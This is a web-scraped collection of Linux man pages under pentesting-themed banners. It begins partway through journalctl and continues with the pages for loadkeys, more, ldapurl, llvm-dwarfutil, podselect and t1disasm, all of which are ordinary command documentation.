This option is particularly useful when trying to identify out-of-order journal entries, as happens for example when the machine is booted with the wrong system time.

Added in version 187.

–list-catalog **[**128-bit-ID…]

List the contents of the message catalog as a table of message IDs, plus their short description strings.

If any 128-bit-IDs are specified, only those entries are shown.

Added in version 196.

–dump-catalog **[**128-bit-ID…]

Show the contents of the message catalog, with entries separated by a line consisting of two dashes and the ID (the format is the same as .catalog files).

If any 128-bit-IDs are specified, only those entries are shown.

Added in version 199.

–update-catalog

Update the message catalog index. This command needs to be executed each time new catalog files are installed, removed, or updated to rebuild the binary catalog index.

Added in version 196.

–setup-keys

Instead of showing journal contents, generate a new key pair for Forward Secure Sealing (FSS). This will generate a sealing key and a verification key. The sealing key is stored in the journal data directory and shall remain on the host. The verification key should be stored externally. Refer to the Seal= option in journald.conf(5) for information on Forward Secure Sealing and for a link to a refereed scholarly paper detailing the cryptographic theory it is based on.

Added in version 189.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned; otherwise, a non-zero failure code is returned.

ENVIRONMENT

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This setting is only useful when messages are written directly to the terminal, because journalctl(1) and other tools that display logs will color messages based on the log level on their own.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This setting is only useful when messages are written directly to the terminal or a file, because journalctl(1) and other tools that display logs will attach timestamps based on the entry metadata on their own.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

Note that the log location is often attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TID

A boolean. If true, messages will be prefixed with the current numerical thread ID (TID).

Note that the this information is attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

$SYSTEMD_LOG_RATELIMIT_KMSG

Whether to ratelimit kmsg or not. Takes a boolean. Defaults to “true”. If disabled, systemd will not ratelimit messages written to kmsg.

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

EXAMPLES

Without arguments, all collected logs are shown unfiltered:

journalctl

With one match specified, all entries with a field matching the expression are shown:

journalctl _SYSTEMD_UNIT=avahi-daemon.service journalctl _SYSTEMD_CGROUP=/user.slice/user-42.slice/session-c1.scope

If two different fields are matched, only entries matching both expressions at the same time are shown:

journalctl _SYSTEMD_UNIT=avahi-daemon.service _PID=28097

If two matches refer to the same field, all entries matching either expression are shown:

journalctl _SYSTEMD_UNIT=avahi-daemon.service _SYSTEMD_UNIT=dbus.service

If the separator “+” is used, two expressions may be combined in a logical OR. The following will show all messages from the Avahi service process with the PID 28097 plus all messages from the D-Bus service (from any of its processes):

journalctl _SYSTEMD_UNIT=avahi-daemon.service _PID=28097 + _SYSTEMD_UNIT=dbus.service

To show all fields emitted by a unit and about the unit, option -u/–unit= should be used. journalctl -u name expands to a complex filter similar to

_SYSTEMD_UNIT=name.service + UNIT=name.service _PID=1 + OBJECT_SYSTEMD_UNIT=name.service _UID=0 + COREDUMP_UNIT=name.service _UID=0 MESSAGE_ID=fc2e22bc6ee647b6b90729ab34a250b1

(see systemd.journal-fields(7) for an explanation of those patterns).

Show all logs generated by the D-Bus executable:

journalctl /usr/bin/dbus-daemon

Show all kernel logs from previous boot:

journalctl -k -b -1

Show a live log display from a system service apache.service:

journalctl -f -u apache

SEE ALSO

systemd(1), systemd-cat(1), systemd-journald.service(8), systemctl(1), coredumpctl(1), systemd.journal-fields(7), journald.conf(5), systemd.time(7), systemd-journal-remote.service(8), systemd-journal-upload.service(8)

NOTES

Discoverable Partitions Specification

https://uapi-group.org/specifications/specs/discoverable_partitions_specification

RFC 3339

https://tools.ietf.org/html/rfc3339

Journal Export Format

https://systemd.io/JOURNAL_EXPORT_FORMATS#journal-export-format

Journal JSON Format

https://systemd.io/JOURNAL_EXPORT_FORMATS#journal-json-format

Server-Sent Events

https://developer.mozilla.org/en-US/docs/Server-sent_events/Using_server-sent_events

JavaScript Object Notation (JSON) Text Sequences

https://tools.ietf.org/html/rfc7464

Journal Message Catalogs

https://systemd.io/CATALOG

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2101 - Linux cli command loadkeys

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command loadkeys and provides detailed information about the command loadkeys, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the loadkeys.

NAME 🖥️ loadkeys 🖥️

load keyboard translation tables

SYNOPSIS

loadkeys [OPTION]… FILENAME
loadkeys –default
loadkeys –mktable
loadkeys –bkeymap
loadkeys –parse

DESCRIPTION

The program loadkeys reads the file or files specified by FILENAME…. Its main purpose is to load the kernel keymap for the console. You can specify console device by the -C (or –console ) option.

RESET TO DEFAULT

If the -d (or –default ) option is given, loadkeys loads a default keymap, probably the file defkeymap.map either in /usr/share/keymaps or in /usr/src/linux/drivers/char. (Probably the former was user-defined, while the latter is a qwerty keyboard map for PCs - maybe not what was desired.) Sometimes, with a strange keymap loaded (with the minus on some obscure unknown modifier combination) it is easier to type `loadkeys defkeymap'.

LOAD KERNEL KEYMAP

The main function of loadkeys is to load or modify the keyboard driver’s translation tables. When specifying the file names, standard input can be denoted by dash (-). If no file is specified, the data is read from the standard input.

For many countries and keyboard types appropriate keymaps are available already, and a command like `loadkeys uk’ might do what you want. On the other hand, it is easy to construct one’s own keymap. The user has to tell what symbols belong to each key. She can find the keycode for a key by use of showkey(1), while the keymap format is given in keymaps(5) and can also be seen from the output of dumpkeys(1).

LOAD KERNEL ACCENT TABLE

If the input file does not contain any compose key definitions, the kernel accent table is left unchanged, unless the -c (or –clearcompose ) option is given, in which case the kernel accent table is emptied. If the input file does contain compose key definitions, then all old definitions are removed, and replaced by the specified new entries. The kernel accent table is a sequence of (by default 68) entries describing how dead diacritical signs and compose keys behave. For example, a line

compose ‘,’ ‘c’ to ccedilla

means that <ComposeKey><,><c> must be combined to <ccedilla>. The current content of this table can be see using `dumpkeys –compose-only’.

LOAD KERNEL STRING TABLE

The option -s (or –clearstrings ) clears the kernel string table. If this option is not given, loadkeys will only add or replace strings, not remove them. (Thus, the option -s is required to reach a well-defined state.) The kernel string table is a sequence of strings with names like F31. One can make function key F5 (on an ordinary PC keyboard) produce the text `Hello!’, and Shift+F5 `Goodbye!’ using lines

keycode 63 = F70 F71
string F70 = “Hello!”
string F71 = “Goodbye!”

in the keymap. The default bindings for the function keys are certain escape sequences mostly inspired by the VT100 terminal.

CREATE KERNEL SOURCE TABLE

If the -m (or –mktable ) option is given loadkeys prints to the standard output a file that may be used as /usr/src/linux/drivers/char/defkeymap.c, specifying the default key bindings for a kernel (and does not modify the current keymap).

CREATE BINARY KEYMAP

If the -b (or –bkeymap ) option is given loadkeys prints to the standard output a file that may be used as a binary keymap as expected by Busybox loadkmap command (and does not modify the current keymap).

UNICODE MODE

loadkeys automatically detects whether the console is in Unicode or ASCII (XLATE) mode. When a keymap is loaded, literal keysyms (such as section) are resolved accordingly; numerical keysyms are converted to fit the current console mode, regardless of the way they are specified (decimal, octal, hexadecimal or Unicode).

The -u (or –unicode) switch forces loadkeys to convert all keymaps to Unicode. If the keyboard is in a non-Unicode mode, such as XLATE, loadkeys will change it to Unicode for the time of its execution. A warning message will be printed in this case.

It is recommended to run kbd_mode(1) before loadkeys instead of using the -u option.

OTHER OPTIONS

-a –ascii
Force conversion to ASCII.

-h –help
loadkeys prints its version number and a short usage message to the programs standard error output and exits.

-p –parse
loadkeys searches and parses keymap without action.

-q –quiet
loadkeys suppresses all normal output.

-V –version
loadkeys prints version number and exits.

WARNING

Note that anyone having read access to /dev/console can run loadkeys and thus change the keyboard layout, possibly making it unusable. Note that the keyboard translation table is common for all the virtual consoles, so any changes to the keyboard bindings affect all the virtual consoles simultaneously.

Note that because the changes affect all the virtual consoles, they also outlive your session. This means that even at the login prompt the key bindings may not be what the user expects.

FILES

/usr/share/keymaps
default directory for keymaps.

/usr/src/linux/drivers/char/defkeymap.map
default kernel keymap.

SEE ALSO

dumpkeys(1), keymaps(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2102 - Linux cli command more

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command more and provides detailed information about the command more, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the more.

NAME 🖥️ more 🖥️

display the contents of a file in a terminal

SYNOPSIS

more [options] file

DESCRIPTION

more is a filter for paging through text one screenful at a time. This version is especially primitive. Users should realize that less(1) provides more(1) emulation plus extensive enhancements.

OPTIONS

Options are also taken from the environment variable MORE (make sure to precede them with a dash (-)) but command-line options will override those.

-d, –silent

Prompt with “[Press space to continue, q to quit.]”, and display “[Press h for instructions.]” instead of ringing the bell when an illegal key is pressed.

-l, –logical

Do not pause after any line containing a ^L (form feed).

-e, –exit-on-eof

Exit on End-Of-File, enabled by default if POSIXLY_CORRECT environment variable is not set or if not executed on terminal.

-f, –no-pause

Count logical lines, rather than screen lines (i.e., long lines are not folded).

-p, –print-over

Do not scroll. Instead, clear the whole screen and then display the text. Notice that this option is switched on automatically if the executable is named page.

-c, –clean-print

Do not scroll. Instead, paint each screen from the top, clearing the remainder of each line as it is displayed.

-s, –squeeze

Squeeze multiple blank lines into one.

-u, –plain

Suppress underlining. This option is silently ignored as backwards compatibility.

-n, –lines number

Specify the number of lines per screenful. The number argument is a positive decimal integer. The –lines option shall override any values obtained from any other source, such as number of lines reported by terminal.

**-**number

A numeric option means the same as –lines option argument.

**+**number

Start displaying each file at line number.

+/string

The string to be searched in each file before starting to display it.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

COMMANDS

Interactive commands for more are based on vi(1). Some commands may be preceded by a decimal number, called k in the descriptions below. In the following descriptions, ^X means control-X.

h or ?

Help; display a summary of these commands. If you forget all other commands, remember this one.

SPACE

Display next k lines of text. Defaults to current screen size.

z

Display next k lines of text. Defaults to current screen size. Argument becomes new default.

RETURN

Display next k lines of text. Defaults to 1. Argument becomes new default.

d or ^D

Scroll k lines. Default is current scroll size, initially 11. Argument becomes new default.

q or Q or INTERRUPT

Exit.

s

Skip forward k lines of text. Defaults to 1.

f

Skip forward k screenfuls of text. Defaults to 1.

b or ^B

Skip backwards k screenfuls of text. Defaults to 1. Only works with files, not pipes.

Go to the place where the last search started.

=

Display current line number.

/pattern

Search for kth occurrence of regular expression. Defaults to 1.

n

Search for kth occurrence of last regular expression. Defaults to 1.

!command or :!command

Execute command in a subshell.

v

Start up an editor at current line. The editor is taken from the environment variable VISUAL if defined, or EDITOR if VISUAL is not defined, or defaults to vi(1) if neither VISUAL nor EDITOR is defined.

^L

Redraw screen.

:n

Go to kth next file. Defaults to 1.

:p

Go to kth previous file. Defaults to 1.

:f

Display current file name and line number.

.

Repeat previous command.

ENVIRONMENT

The more command respects the following environment variables, if they exist:

MORE

This variable may be set with favored options to more.

SHELL

Current shell in use (normally set by the shell at login time).

TERM

The terminal type used by more to get the terminal characteristics necessary to manipulate the screen.

VISUAL

The editor the user prefers. Invoked when command key v is pressed.

EDITOR

The editor of choice when VISUAL is not specified.

POSIXLY_CORRECT

Disable exit-on-eof (see option -e for more details).

HISTORY

The more command appeared in 3.0BSD. This man page documents more version 5.19 (Berkeley 6/29/88), which is currently in use in the Linux community. Documentation was produced using several other versions of the man page, and extensive inspection of the source code.

AUTHORS

Eric Shienbrood, UC Berkeley.

Modified by Geoff Peck, UCB to add underlining, single spacing.

Modified by John Foderaro, UCB to add -c and MORE environment variable.

SEE ALSO

less(1), vi(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The more command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2103 - Linux cli command ldapurl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapurl and provides detailed information about the command ldapurl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapurl.

NAME 🖥️ ldapurl 🖥️

LDAP URL formatting tool

SYNOPSIS

ldapurl [ -a attrs] [ -b* searchbase]* [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -f* filter]* [ -H* ldapuri]* [ -h* ldaphost]* [ -p* ldapport]* [ -s {base | one | sub | children}] [ -S* scheme]*

DESCRIPTION

ldapurl is a command that allows one to either compose or decompose LDAP URIs.

When invoked with the -H option, ldapurl extracts the components of the ldapuri option argument, unescaping hex-escaped chars as required. It basically acts as a frontend to the ldap_url_parse(3) call. Otherwise, it builds an LDAP URI based on the components passed with the appropriate options, performing the inverse operation. Option -H is incompatible with options -a, -b, -E, -f, -H, -h, -p, -S, and -s.

OPTIONS

-a* attrs*
Set a comma-separated list of attribute selectors.

-b* searchbase*
Set the searchbase.

-e [!]ext[=extparam]
Specify general extensions with -e!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

-E [!]ext[=extparam]
Set URL extensions; incompatible with -H.

-f* filter*
Set the URL filter. No particular check on conformity with RFC 4515 LDAP filters is performed, but the value is hex-escaped as required.

-H* ldapuri*
Specify URI to be exploded.

-h* ldaphost*
Set the host.

-p* ldapport*
Set the TCP port.

-S* scheme*
Set the URL scheme. Defaults for other fields, like ldapport, may depend on the value of scheme.

-s {base | one | sub | children}
Specify the scope of the search to be one of base, one, sub, or children to specify a base object, one-level, subtree, or children search. The default is sub. Note: children scope requires LDAPv3 subordinate feature extension.

OUTPUT FORMAT

If the -H option is used, the ldapuri supplied is exploded in its components, which are printed to standard output in an LDIF-like form.

Otherwise, the URI built using the values passed with the other options is printed to standard output.

EXAMPLE

The following command:

    ldapurl -h ldap.example.com -b dc=example,dc=com -s sub -f "(cn=Some One)"

returns

    ldap://ldap.example.com:389/dc=example,dc=com??sub?(cn=Some%20One)

The command:

    ldapurl -H ldap://ldap.example.com:389/dc=example,dc=com??sub?(cn=Some%20One)

returns

    scheme: ldap
    host: ldap.example.com
    port: 389
    dn: dc=example,dc=com
    scope: sub
    filter: (cn=Some One)

DIAGNOSTICS

Exit status is zero if no errors occur. Errors result in a non-zero exit status and a diagnostic message being written to standard error.

SEE ALSO

ldap(3), ldap_url_parse(3),

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2104 - Linux cli command llvm-dwarfutil-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-dwarfutil-16 and provides detailed information about the command llvm-dwarfutil-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-dwarfutil-16.

NAME 🖥️ llvm-dwarfutil-16 🖥️

dwarfutil - A tool to copy and manipulate debug info

SYNOPSIS

llvm-dwarfutil [options] input output

DESCRIPTION

llvm-dwarfutil is a tool to copy and manipulate debug info.

In basic usage, it makes a semantic copy of the input to the output. If any options are specified, the output may be modified along the way, e.g. by removing unused debug info.

If “-” is specified for the input file, the input is read from the program’s standard input stream. If “-” is specified for the output file, the output is written to the standard output stream of the program.

The tool is still in active development.

COMMAND-LINE OPTIONS

–garbage-collection
Removes pieces of debug information related to discarded sections. When the linker does section garbage collection the abandoned debug info is left behind. Such abandoned debug info references address ranges using tombstone values. Thus, when this option is specified, the tool removes debug info which is marked with the tombstone value.

That option is enabled by default.

–odr-deduplication
Remove duplicated types (if “One Definition Rule” is supported by source language). Keeps first type definition and removes other definitions, potentially significantly reducing the size of output debug info.

That option is enabled by default.

–help, -h
Print a summary of command line options.

–no-garbage-collection
Disable –garbage-collection.

–no-odr-deduplication
Disable –odr-deduplication.

–no-separate-debug-file
Disable –separate-debug-file.

–num-threads=<n>, -j
Specifies the maximum number (n) of simultaneous threads to use for processing.

–separate-debug-file
Generate separate file containing output debug info. Using llvm-dwarfutil with that option equals to the following set of commands:

:program:llvm-objcopy –only-keep-debug in-file out-file.debug :program:llvm-objcopy –strip-debug in-file out-file :program:llvm-objcopy –add-gnu-debuglink=out-file.debug out-file

–tombstone=<value>
<value> can be one of the following values:

  • bfd: zero for all addresses and [1,1] for DWARF v4 (or less) address ranges and exec.

  • maxpc: -1 for all addresses and -2 for DWARF v4 (or less) address ranges.

  • universal: both bfd and maxpc.

  • exec: match with address ranges of executable sections.

The value universal is used by default.

–verbose
Enable verbose logging. This option disables multi-thread mode.

–verify
Run the DWARF verifier on the output DWARF debug info.

–version
Print the version of this program.

SUPPORTED FORMATS

The following formats are currently supported by llvm-dwarfutil:

ELF

EXIT STATUS

llvm-dwarfutil exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-dwarfutil/>.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2105 - Linux cli command podselectp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command podselectp and provides detailed information about the command podselectp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the podselectp.

NAME 🖥️ podselectp 🖥️

print selected sections of pod documentation on standard output

SYNOPSIS

podselect [-help] [-man] [-section section-spec] [file …]

OPTIONS AND ARGUMENTS

-help
Print a brief help message and exit.

-man
Print the manual page and exit.

-section section-spec
Specify a section to include in the output. See “SECTION SPECIFICATIONS” in Pod::Parser for the format to use for section-spec. This option may be given multiple times on the command line.

file
The pathname of a file from which to select sections of pod documentation (defaults to standard input).

DESCRIPTION

podselect will read the given input files looking for pod documentation and will print out (in raw pod format) all sections that match one ore more of the given section specifications. If no section specifications are given than all pod sections encountered are output.

podselect invokes the podselect() function exported by Pod::Select Please see “podselect()” in Pod::Select for more details.

SEE ALSO

Pod::Parser and Pod::Select

AUTHOR

Please report bugs using <http://rt.cpan.org>.

Brad Appleton <[email protected]>

Based on code for Pod::Text::pod2text (1) written by Tom Christiansen <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2106 - Linux cli command t1disasm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command t1disasm and provides detailed information about the command t1disasm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the t1disasm.

NAME 🖥️ t1disasm 🖥️

disassemble PostScript Type 1 font

SYNOPSIS

t1disasm [input [output]]

DESCRIPTION

t1disasm disassembles Adobe Type 1 font programs in either PFA (hexadecimal) or PFB (binary) formats into human-readable form. If the file output is not specified output goes to the standard output. If the file input is not specified input comes from the standard input.

t1disasm performs eexec and charstring decryption as specified in the ``black book’’, Adobe Type 1 Font Format. Additionally, the charstring binary tokens are expanded into human-readable text form, using the names given in the black book and later documents describing Type 2 opcodes.

EXAMPLES

% t1disasm Utopia-Regular.pfb Utopia-Regular.raw
% t1disasm Utopia-Regular.pfa Utopia-Regular.raw

In Subrs entries in Utopia-Regular.raw will look like

dup 5 { 8 111 vstem -12 128 hstem 707 -20 hstem return } |

and the CharStrings entries like

/exclam { 58 242 hsbw 6 callsubr 5 4 callsubr 63 707 rmoveto -54 0 -5 -22 4 -45 rrcurveto 40 -431 rlineto 29 hlineto 42 431 rlineto 4 45 -5 22 -55 0 rrcurveto closepath 6 4 callsubr -719 vmoveto 243 callsubr endchar } |-

SEE ALSO

() () () () ()

